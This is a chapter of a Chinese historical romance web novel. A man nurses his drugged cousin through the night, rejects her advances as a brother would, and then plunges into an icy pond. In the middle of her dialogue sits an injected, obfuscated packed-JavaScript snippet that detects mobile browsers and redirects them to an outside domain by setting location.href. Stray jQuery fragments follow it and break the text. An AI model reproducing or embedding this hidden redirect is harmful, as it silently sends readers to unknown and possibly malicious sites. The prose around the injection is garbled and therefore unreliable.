“别碰我!”
他几乎是本能地猛地将缠在身上的柔软躯体狠狠推开。
柳舒涵被这巨大的力道猛地掀开,踉跄着向后倒去,重重跌到地上。
然而,身体撞击的钝痛,在体内那焚身蚀骨的药力面前,微弱得如同蚊蚋。
她蜷缩起来,身体剧烈地颤抖着,双手痉挛般地抓挠着自己的手臂和肩头,单薄的衣料下,白皙的皮肤瞬间被指甲划出一道道刺目的红痕,甚至有细细的血珠沁了出来。
萧承渊看着她的样子,心疼的情绪终究压过了翻腾的怒火。他大步走到软榻前,将她脱在旁边的外袍撕扯成条。
随后走到她身边蹲下,他一靠近她的手就不安分起来,带着灼人的温度在他身上、脸上不得章法的摸来摸去。
他冷着脸,用力地将她胡作非为的手控住,把她小小的身体翻了个身,用布条将她的双手反绑在身后。
她不满地扭动,口中呓语,听不清楚说了什么,声音喑哑难耐。
她挣扎着想要起身,他索性将她的脚也绑了起来。她终于安静下来,他长舒一口气,头发已经被她抓得凌乱,几缕发丝散下来,遮住了眉眼。
他看着她圆圆的小脸痛苦地拧成一团,从脸上到脖子上直至……露出的锁骨上,都溢出细细密密的汗珠。
他几乎是踉跄着冲了出去,身影狼狈而决绝。
很快,他又回来了。手里端着一个沉甸甸的铜盆,里面盛满了刚从深井里打上来的寒凉刺骨的井水。他臂弯里搭着几条干净的素白棉布巾。
他重重地将铜盆放在榻边的矮几上,冰冷的井水在盆中晃荡。
他蹲下身,动作僵硬,一把将蜷缩在地毯上痛苦呜咽的柳舒涵打横抱起。
她的身体轻飘飘的,却又像一块烧红的炭火,滚烫的热度隔着薄薄的衣衫源源不断地传递过来。
她似乎感受到了一丝凉意的靠近,无意识地在他怀中扭动了一下,滚烫的脸颊蹭过他微凉的颈侧,发出一声模糊的嘤咛。
萧承渊全身的肌肉瞬间绷紧,抱着她的手臂猛地一僵,险些失手。
他猛地咬紧牙关,下颌线条绷得几乎要碎裂,额角青筋隐隐跳动,用尽全身力气才克制住将她再次丢开的冲动。
他几乎不敢看她,动作笨拙而迅疾地将她放回到暖榻上,迅速拉过一床薄被胡乱盖在她身上,只露出那张烧得通红的布满汗水和泪痕的脸。
然后,他飞快地退开一步,拉开一个自认为安全的距离。
他抓起一条布巾,狠狠浸入那盆冰冷的井水中。
“哗啦!”水声刺耳。
他伸出手,用那湿冷的棉布巾,带着一种近乎自虐的克制,迅速而用力地擦拭她滚烫的额头、汗湿的脖颈和……锁骨。
动作毫无温柔可言,甚至带着一种发泄般的粗鲁,仿佛要擦去她所有的狼狈,也擦去自己本能的那份不该有的悸动。
柳舒涵在昏迷中无意识地发出一声舒服的喟叹,身体本能地追寻着那点凉意,微微向他手指的方向偏了偏头。
这个细微的动作配上她的娇喘,如同无数细小的钩子,狠狠扯动了萧承渊紧绷的神经。
他擦拭的动作猛地顿住,捏着布巾的手青筋暴起。
他死死盯着她微微蹙起的眉头和烧红的脸颊,眼底翻涌的暗潮几乎要将他自己吞噬。
他猛地闭上眼,深吸一口气,胸腔里憋闷得快要炸开。
再睁开时,那风暴似乎被强行按捺下去。他重新将布巾浸入刺骨的冰水中,拧干,再次覆上她的额头、颈侧……动作依旧僵硬,却不再那么粗暴,带着一种认命般的妥协。
盆中的水,很快就被她的高温蒸暖了。
他不知疲倦地换了一盆又一盆。
窗外的冷雨,亦不知疲倦地下着,淅淅沥沥,敲打着窗棂和屋檐。
烛台上的蜡烛无声地燃烧着,烛泪堆积,如苍白的琥珀,又像凝固的叹息,一滴一滴,缓缓滑落,堆积在冰冷的烛台上。
萧承渊像个不知疲倦的提线木偶,木然地重复着手里的动作。
他目光沉郁如寒潭,始终胶着在柳舒涵脸上,看着她紧蹙的眉头在冰冷擦拭下偶尔舒展,又在她无意识因寒冷瑟缩时猛地拧紧。
每一次她的瑟缩,都让他捏着布巾的手指收紧一分。
时间在无尽的雨声中,悄然流逝。
不知过了多久,柳舒涵急促而痛苦的喘息慢慢平复下来,紧蹙的眉头也终于松开了些许,陷入一种精疲力竭的昏睡。
只是脸颊依旧残留着病态的潮红,身体偶尔还会无意识地轻颤一下,如同惊弓之鸟。
萧承渊最后一次将手中已变得温热的布巾丢回水盆里,解开了束缚她的布巾。
盆中的水早已浑浊不堪。
他沉默地站直身体,高大的影子在烛光下拉得很长,投在墙壁上,微微晃动着,透着说不出的疲倦和沉重。
他垂眸,久久凝视着暖榻上昏睡的人影。
他最终只是轻叹一声,缓缓地、极其小心地在榻边坐了下来,动作轻得像怕惊醒一个易碎的梦。
他没有触碰她,只是那样坐着,背脊挺得笔直,像一尊沉默的守护石像,又像一截被风雨侵蚀殆尽的枯木。
烛台上的红泪已堆积如山,最后一截蜡烛的火苗微弱地跳动着,挣扎着,终于,“噗”的一声轻响,彻底熄灭。
暖阁瞬间被浓稠的黑暗吞没,只剩下窗外雨声,依旧淅淅沥沥,无休无止。
那黑暗黏稠而沉重,压得人喘不过气。
只有借着窗外极微弱的天光,才能隐约勾勒出他坐在榻边的轮廓。
柳舒涵的声音自黑暗中传来,喑哑而疲倦:“表哥,你明知道我想要的是什么,为什么就不能如了我的愿?”
她微弱的声音里充满了爱而不得的哀怨和命不久矣的自暴自弃:“我已经没多少时间了,你为什么就不能满足我一下?你如果那么厌弃我,又为什么要对我那么好?你为什么不干脆一走了之,如此折磨我,看我丑态百出……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940501|177331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“够了!”一直沉默的萧承渊突然厉声打断她。
他的声音冰冷而沉重,仿佛又带着叹息:“柳舒涵!我近日看你情绪不佳,任你胡闹,但你的胡闹,也该有个限度。”
他站起身,低头看向她的方向,身形在窗纸透出的月光中更显修长挺拔,仿若神祇:“你听着,纵然我还不清楚温景珩到底给你下了什么毒,可是只要有我在,你就不会有事,我要你——长命百岁!”
最后四个字,他犹如诅咒发誓。
柳舒涵闻言心中震惊,自软榻上缓缓坐起,仰头看着他高大的身影,声音里充满不可思议:“你怎么知道?”
“你十三岁到我萧家,你有没有心疾,我又怎会不知?”
他突然伸出手轻抚她的头顶,无声叹息:“别再为我做傻事,我不值得你如此作践自己。”
不等她回答,他站直身体后退了一步,拉开他们之间的距离,声音恢复了一贯的冷静:“霜儿,我对你生不出任何歹念。”
“我们自小一起长大,我把你当成亲妹妹。我可以疼你、宠你,满足你想要的一切,却唯独,给不了你男女之情。”
他说完不顾她的反应转身离去,身形映“在月光中,坚定而决绝。
天光终于艰难地刺破了厚重的云层和雨幕,灰蒙蒙的,带着深秋特有的湿冷。
他没有回房,而是径直走向后园深处。
那里有一方深潭,终年幽寒刺骨,是府中夏日储冰之地。深秋的寒雨落在潭面上,激起无数细小的涟漪,空气里弥漫着浓重的水汽和刺骨的寒意。
萧承渊没有丝毫停顿,甚至没有褪去外袍。他一步一步,坚定地走入冰冷的潭水中。
“哗啦—”
冰冷刺骨的潭水瞬间没过了他的腰腹,然后是胸口。
那足以冻僵骨髓的寒意如同无数根冰针,狠狠扎进他的皮肤,刺入他的血肉,身体本能地剧烈颤抖起来,牙齿不受控制地咯咯作响,每一寸肌肉都在极致的寒冷中痉挛。
他猛地深吸一口气,冰冷的空气如同刀子般割过喉咙。
然后,他整个人沉了下去,将自己完全没入那寒彻心扉的潭水之中。
水面之下,是另一个寂静无声的世界。冰冷的黑暗包裹着他。
水波晃动,光线扭曲。
水面之下,他垂在身侧的手,在幽暗的光线中,一点一点地,死死地攥紧,在冰冷的潭水中呈现出一种毫无血色的、近乎透明的青白。
他不允许自己失控,可今夜自己的身体,毫无疑问可恨的脱离了自己的掌控。
深秋的寒潭,是他对自己身体的惩罚。他怨恨这身体,竟然对霜儿起了龌龊反应。
可这具躯体仿佛有了自己的意志,铁了心地与他对着干,在刺骨的水中仍然蓬勃着青年男子特有的热血,他的思绪溃败,被牵引着不断涌现出跟沈昭华的旖旎画面。
水面之上,他头顶散开的几缕黑发,和潭面因他存在而荡开的一圈圈涟漪无声地扩散……